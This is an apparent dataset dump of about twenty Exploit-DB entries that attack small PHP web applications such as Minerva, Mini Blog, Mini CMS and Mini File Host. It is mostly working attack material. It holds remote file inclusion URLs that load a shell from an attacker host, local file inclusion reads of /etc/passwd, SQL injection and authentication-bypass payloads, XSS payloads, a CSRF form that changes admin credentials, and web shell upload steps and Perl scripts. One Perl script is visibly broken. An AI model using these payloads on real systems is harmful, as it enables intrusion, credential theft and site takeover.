deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2429
Description: Minerva 2.0.21 build 238a - 'phpbb_root_path' File Inclusion
Type: webapps
Platform: php
Date: 2006-09-25
Author: SHiKaA

Exploit:
#==============================================================================================
#Minerva <= v238 (phpbb_root_path) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://prdownloads.sourceforge.net/minerva/Minerva-238a.zip?download      
#                                                                      
#Version : All Versions                                            
#                                                        
#================================================================================================
#
#Dork : "Powered by Minerva"
#
#================================================================================================
#Bug in : admin/admin_topic_action_logging.php
#
#Vlu Code :
#--------------------------------
#
# if ( !empty($setmodules) )
#{
#    include($phpbb_root_path . 'language/lang_' . $board_config['default_lang'] . '/lang_admin_topic_action_logging.' . $phpEx);
#    $module['Forums']['Action_Logging'] = basename(__FILE__);
#    return;
#
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/admin/admin_topic_action_logging.php?setmodules=attach&phpbb_root_path=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Special Thx To : Str0ke & HACKERS PAL & XoRon & Simoo & Saudi HAckerz
==================================================================================================

# milw0rm.com [2006-09-25]
Exploit-DB #1908
Description: Minerva 2.0.8a Build 237 - 'phpbb_root_path' File Inclusion
Type: webapps
Platform: php
Date: 2006-06-13
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  Minerva (phpbb_root_path) <= 2.0.8a Build 237 Remote File Include Vulnerability
$$  script site: http://sourceforge.net/projects/minerva/
$$  dork: Powered by Minerva 237
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
#Expl:


http://www.site.com/[Minerva_path]/stat_modules/users_age/module.php?phpbb_root_path=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-13]
Exploit-DB #50853
Description: minewebcms 1.15.2 - Cross-site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-04-07
Author: Chetanya Sharma

Exploit:
# Exploit Title: minewebcms 1.15.2 - Cross-site Scripting (XSS)
# Google Dork: NA
# Date: 02/20/2022
# Exploit Author: Chetanya Sharma @AggressiveUser
# Vendor Homepage: https://mineweb.org/
# Software Link: https://github.com/mineweb/minewebcms
# Version: 1.15.2
# Tested on: KALI OS
# CVE : CVE-2022-1163
#
---------------

Steps to Reproduce:-
=> Install the WebApp and Setup it
=> Login in to webAPP using Admin Creds. 
=> Navigate to "http://localhost/MineWebCMS-1.15.2/admin/navbar"
=> Add/Edit a Link Select "Drop-Down Menu"
=> "Link Name" and "URL" Both Input are Vulnerable to Exploit Simple XSS 
=>  Payload : <script>alert(1);</script>
=> XSS will trigger on "http://localhost/MineWebCMS-1.15.2/" Aka WebApp HOME Page

Note : As you can see this simple payload working in those two inputs as normally . Whole WebApp Admin Input Structure is allow to do HTML Injection or XSS Injection 

References: https://huntr.dev/bounties/44d40f34-c391-40c0-a517-12a2c0258149/
Exploit-DB #7374
Description: Mini Blog 1.0.1 - 'index.php' Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-12-07
Author: cOndemned

Exploit:
/*

	$Id: miniblog-1.0.1-lfi.txt,v 0.1 2008/12/06 04:06:00 cOndemned Exp $
	
	Mini Blog 1.0.1 (index.php) Multiple Local File Inclusion Vulnerabilities
	Discovered by cOndemned

	Download : http://www.bpowerhouse.info/mini_blog.htm
	
	Greetz : ZaBeaTy, str0ke, d2, sid.psycho, Adish, TBH & Avantura ;*

*/

Source of index.php

	[...]

	7.	$page = !empty($_GET['page']) ? $_GET['page'] : "";
	8.	$admin = !empty($_GET['admin']) ? $_GET['admin'] : "";
	
	[...]
	
	77.	if (($page != "") && file_exists("page/" . $page . ".php")) {
	78.		require("page/" . $page . ".php");
	79.	} else if (($admin != "") && file_exists("admin/" . $admin . ".php")) {
	80.		require("admin/" . $admin . ".php");

	[...]
	

Proof of Concept

	http://[host]/[mini_blog_1.0.1_path]/index.php?page=../../../../[local_file]%00
	http://[host]/[mini_blog_1.0.1_path]/index.php?admin=../../../../[local_file]%00
	
	for example request :
	
	http://[host]/[mini_blog_1.0.1_path]/index.php?page=../../../../../etc/passwd%00
	
	...might give result like this :

	root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon...
	
	
EoF

# milw0rm.com [2008-12-07]
Exploit-DB #41135
Description: Mini Blog 1.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-20
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: IC-Mini Blog Script - Authentication Bypass
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Buy: http://www.icloudcenter.com/mini_blog.htm
# Demo: http://www.icloudcenter.net/demos/mini_blog/
# Version: 1.1
# Tested on: Win7 x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/index.php?admin=login and set Username and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #41543
Description: Mini CMS 1.1 - 'name' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-07
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Mini CMS v1.1 - SQL Injection
# Google Dork: N/A
# Date: 07.03.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software : http://www.icloudcenter.com/mini_cms.htm
# Demo: http://www.icloudcenter.net/demos/mini_cms/
# Version: 1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?page=static_pages&name=[SQL]
# # # # #
Exploit-DB #41139
Description: Mini CMS 1.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-20
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: IC-Mini CMS Script - Authentication Bypass
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Buy: http://www.icloudcenter.com/mini_cms.htm
# Demo: http://www.icloudcenter.net/demos/mini_cms/
# Version: 1.1
# Tested on: Win7 x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]//index.php?page=login and set Username and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #4930
Description: Mini File Host 1.2 - 'language' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-01-17
Author: Scary-Boys

Exploit:
#########################################################################
#         Mini File Host <= 1.2 Local File Inclusion Vulnerability      #
#########################################################################
AUTHOR     : Scary-Boys							#
HOME       : http://scary-boys.com					#
Download   : http://galaxyscripts.com/forum/downloads.php?do=file&id=1 	#
#########################################################################
DorKs      : "Powered By Mini File Host V1.2"         			#
#########################################################################
## EXPLOIT :                                          			#
http://server.com/Path/pages/upload.php?language=[-LFI-] 		#
#########################################################################
## GREETZ  : S.W.A.T. My Best Friend For Founding This Vuln & Helped Me #
#########################################################################

http://www.galaxyscripts.com/demo/mfh12/

# milw0rm.com [2008-01-17]
Exploit-DB #4940
Description: Mini File Host 1.2.1 - 'language' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-01-20
Author: shinmai

Exploit:
#!/usr/bin/perl
# Name: Mini File Host (1.2.1 "Security Fixed release" and earlier)
# Vulnerability type: Local File Inclusion through POST requests (pages/upload.php)
# Authors: 
#          Scary-Boys: original GET-vulnerability, 2008-01-17
#             shinmai: POST-request vulnerability in latest version
#                      perl POC, 2008-01-19
######################################################################################
# Description:
# The same language=LFI vulnerability is found in 1.2 is present in  thelatest version
# POST has to be used to exploit instead of GET.
#
# This POC is to be used as follows:
# perl mfh121.pl -f FILENAME.PHP -h HOSTNAME -e PATH TO MFH
#
# FILENAME.PHP is uploaded to the target script, and then executed through LFI with
# a POST request.
#
# example: perl mfh121.pl -f ./phpinfo.php -h localhost -p /mfi121/ | less
# The resulting HTML will be printed, all output by phpinfo.php will be before the
# real content.
#
use LWP::UserAgent;
use Getopt::Std;
use vars qw($opt_f $opt_h $opt_p $opt_g);

my $ua;
my $response;
my $formtarget;
my $original_filename;
my $filame;
my $scriptname;
my $exploit_target;

getopts("f:h:p:g");

$original_filename = $opt_f;
$filame = chomp($original_filename);
$formtarget = "http://".$opt_h.$opt_p."upload.php?do=verify";

$ua = LWP::UserAgent->new;

$response = $ua->post( $formtarget,
  [ 'upfile' => [$original_filename], ],
  'Content_Type' => 'form-data'
);

die "error: ", $response->status_line
   unless $response->is_success;
if( $response->content =~ m/\.php\?file=(.*?)\">/ ) {
    $scriptname = "$1";
  } else {
    print "Upload of php file unsuccessful";
    die ($response->status_line);
  }

$scriptname =~ s/\.[\w]{2,4}//;

$exploit_target = "http://".$opt_h.$opt_p."/pages/upload.php";
$response = $ua->post( $exploit_target,
  [ 'language' => "../../storage/".$scriptname, ],
  'Content_Type' => 'form-data'
);
die "error running php file though LFI: ", $response->status_line
   unless $response->is_success;
print $response->content;

exit(0);

# milw0rm.com [2008-01-20]
Exploit-DB #10601
Description: Mini File Host 1.5 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-22
Author: MR.Z

Exploit:
=====================================================================

=========
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|


=====================================================================

=========
        [»] ~ Note : This vulnerability allows you to upload if the "storage" file isn't protected with a htaccess file or

anything else
=====================================================================

=========
        [»] Mini File Host v1.5 Remote File Upload Vulnerability
=====================================================================

=========

    [»] Script:             [ Mini File Host ]
    [»] Language:           [ PHP ]
    [»] Site page:          [ Mini File Host v1.5 ]
    [»] Download:           [ http://www.hotscripts.com/listing/mini-file-host/ ]
    [»] Founder:            [ Mr.Z <tzar.evil@yahoo.com> ]
    [»] Greetz to:          [ all muslims , ViRuSMaN  ]

###########################################################################

===[ Exploit ]===

  Click on "Browse" and select your php shell
  Click Upload
  After it finishs , you will see this meassage (

  Your file was uploaded!

  Your download link

  http://server/script/download.php?file=328shell.php

  )

  Copy the new Name of the shell "328shell.php"

  Now Go to this Url

  http://server/script/storage/328shell.php

  if "Storage" wasn't protected your shell will open


Author: Mr.Z <-

###########################################################################
Exploit-DB #7509
Description: Mini File Host 1.x - Arbitrary '.PHP' File Upload
Type: webapps
Platform: php
Date: 2008-12-18
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: Mini File Host
Version: All version
Vendor : http://www.galaxyscripts.com
Dork: inurl:index.php?page=img Powered By Mini File Host
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (Uploader Bypass)
---------------------------------------------------------
#########################################################
[Mime Check Bypass]:
create a file called name.php and fill it as below:
----------
GIF89aP;
[shell]
----------
Save and upload !

[Video]:
http://pouya2006.persiangig.com/UploadVideo/minifile.rar
---------------------------------

# milw0rm.com [2008-12-18]
Exploit-DB #10444
Description: mini Hosting Panel - Cross-Site Request Forgery (Change Admin Settings)
Type: webapps
Platform: php
Date: 2009-12-14
Author: Milos Zivanovic

Exploit:
[#-----------------------------------------------------------------------------------------------#]
[#] Title: mini Hosting Panel XSRF Change Admin Settings
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 14. December 2009.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: mini Hosting Panel
[#] Version: the only one there is
[#] Platform: PHP
[#] Link: http://www.scriptsez.net/?action=details&cat=Miscellaneous&id=[PII_REDACTED]
[#] Price: 24 USD
[#] Vulnerability: XSRF Change Admin Settings
[#-----------------------------------------------------------------------------------------------#]

mini Hosting Panel script suffers from XSRF vulnerability that enables
us to change
admins info such as id, password, email...

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/hosting/admin_ac.php?action=cp" method="POST">
  <input type="hidden" name="nid" value="new_admin">
  <input type="hidden" name="email" value="my@mail.com">
  <input type="hidden" name="comp" value="Company">
  <input type="hidden" name="np" value="hacked">
  <input type="hidden" name="cnp" value="hacked">
  <input type="submit" name="submit" value=' Submit '>
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#]EOF
Exploit-DB #7049
Description: Mini Web Calendar 1.2 - File Disclosure / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-11-07
Author: ahmadbady

Exploit:
************************(XSS / FD Vulnerability)**************

script:Mini Web Calendar, ver. 1.2
   
   
************************************************************************************************************
download from:http://www.smolinari.com/srm/download/mwcal/mwcal.zip?PHPSESSID=84ivc1h7ohn8f9ra7cgn66fj94
   
************************************************************************************************************


......................................................................................
local file xpl:
   
http://www.site.com/mwcal/php/cal_pdf.php?thefile=/etc/passwd

xss xpl:

http://www.site.com/mwcal/php/cal_default.php/>'><ScRiPt>alert(0)</ScRiPt>



***************************************************
***************************************************

Author: ahmadbady from http://www.deltahacking.net

my mail: kivi_hacker666@yahoo.com


***************************************************

# milw0rm.com [2008-11-07]
Exploit-DB #29299
Description: Mini Web Shop 2.1.c - 'view.php?Viewcategory.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-19
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/21677/info

Mini Web Shop is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.1.c is vulnerable to this issue; other versions may also be affected.

http://www.example.com/miniwebshop/modules/viewcategory.php?catname=[xss]
Exploit-DB #14808
Description: Mini-CMS / News Script Light 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-08-26
Author: bd0rk

Exploit:
#!/usr/bin/perl
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# mini CMS / News Script Light 1.0 Remote File Include Exploit
#
# Bug found and exploit written by bd0rk || SOH-Crew
#
# Vendor: http://www.hinnendahl.com/
#
# Downloadsite: http://www.hinnendahl.com/index.php?seite=download
#
# Description: The script_pfad parameter in news_base.php isn't declared before require
#
# Contact: bd0rk[at]hackermail.com
# Website: www.soh-crew.it.tt
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

use Getopt::Long;

use URI::Escape;

use IO::Socket;

$shellcode = "http://yourshellsite.com";

main();

sub usage
{

print "\mini CMS / News Script Lite 1.0 Remote File Include Exploit\n";
print "Bug found and Exploit written by bd0rk\n";
print "-1, --target\ttarget\t(yourhost.com)\n";
print "-2, --shellpath\tshell\t(http://yourshellsite.com)\n";
print "-3, --dir\tDirectory\t(/news_system)\n";
exit;

}

sub main
{

GetOptions ('1|target=s' => \$target, '2|shellpath=s' => \$shellpath,'3|dir=s' => \$dir);
usage() unless $target;
$shellcode = $shellpath unless !$shellpath;
$targethost = uri_escape($shellcode);

$socket = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$target",PeerPort=>"80") or die "\nConnection() Failed.\n";

print "\nConnected to ".$target.", Attacking host...\n";
$bd0rk = "inst=true&ins_file=".$target."";
$soh = lenght($bd0rk);

print $socket "POST ".$dir."/news_system/news_base.php?script_pfad= HTTP/1.1\n";
print $socket "Target: ".$target."\n";
print $socket "Connection: close\n";
print $socket "Content-Type: application/x-www-form-urlencoded\n";
print $socket "Content-Lenght: ".$soh."\n\n";
print $socket $soh;
print "Server-Response:\n\n";
{

print " ".$recvd."";
}

exit;

}
Exploit-DB #7375
Description: Mini-CMS 1.0.1 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-12-07
Author: cOndemned

Exploit:
/*

	$Id: minicms-1.0.1-lfi.txt,v 0.1 2008/12/06 04:06:00 cOndemned Exp $
	
	Mini-CMS 1.0.1 (index.php) Multiple Local File Inclusion Vulnerabilities
	Discovered by cOndemned

	Download : http://www.bpowerhouse.info/mini_cms.htm
	
	Greetz : ZaBeaTy, str0ke, d2, sid.psycho, Adish, TBH & Avantura ;*

*/

Source of index.php

	[...]

	9.	$page = !empty($_GET['page']) ? $_GET['page'] : "home";
	10.	$admin = !empty($_GET['admin']) ? $_GET['admin'] : "";
	
	[...]
	
	80.	if (($page != "") && file_exists("page/" . $page . ".php")) {
	81.		require("page/" . $page . ".php");
	82.	} else if (($admin != "") && file_exists("admin/" . $admin . ".php")) {
	83.		require("admin/" . $admin . ".php");

	[...]
	

Proof of Concept

	http://[host]/[mini_cms_1.0.1_path]/index.php?page=../../../../[local_file]%00
	http://[host]/[mini_cms_1.0.1_path]/index.php?admin=../../../../[local_file]%00
	

It's the same shit as in Mini-Blog 1.0.1... I don't even know how to call it... 
Maybe double fail ? x]
	
	
EoF

# milw0rm.com [2008-12-07]
Exploit-DB #9406
Description: Mini-CMS 1.0.1 - 'page.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-10
Author: Ins3t

Exploit:
[+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Mini-CMS 1.0.1 SQL inlection]------------------------------------------[+]  
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Mini-CMS 1.0.1 SQL inlection
[+] Autor: Ins3t
[+] Site: www.arthacking.net
[+] Date:08.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability occurs due to insufficient filtering transferred database parameters. Password is not in the 
database, and in the config.php file.
[+] Conditions: magic_quotes_gpc = Off | full patch of file config.php
[+] Code vulnerable functions:

[+]-------------------------------------------------[CODE]--------------------------------------------------------------[+]
<?php
$id = $_GET['id'];
database_connect();
$query = "SELECT * from content
          WHERE id = $id";                      <------(BUG)
$error = mysql_error();
if (!$result = mysql_query($query)) {
    print "$error";
        exit;
        }

while($row = mysql_fetch_object($result)){
  $content = $row->text;
  print("$content");
        }
?>
[+]------------------------------------------------[/CODE]--------------------------------------------------------------[+]

[+] Exploit: 

[+]-------------------------------------------------[CODE]--------------------------------------------------------------[+]

http://localhost/page.php?id=-1+union+select+1,2,3,4,load_file('[FULL_PATCH_OF_FILE_CONFIG.PHP]'),6,7,8,9+into+outfile+'[FULL_PATCH]'--+

[+]------------------------------------------------[/CODE]--------------------------------------------------------------[+]

# milw0rm.com [2009-08-10]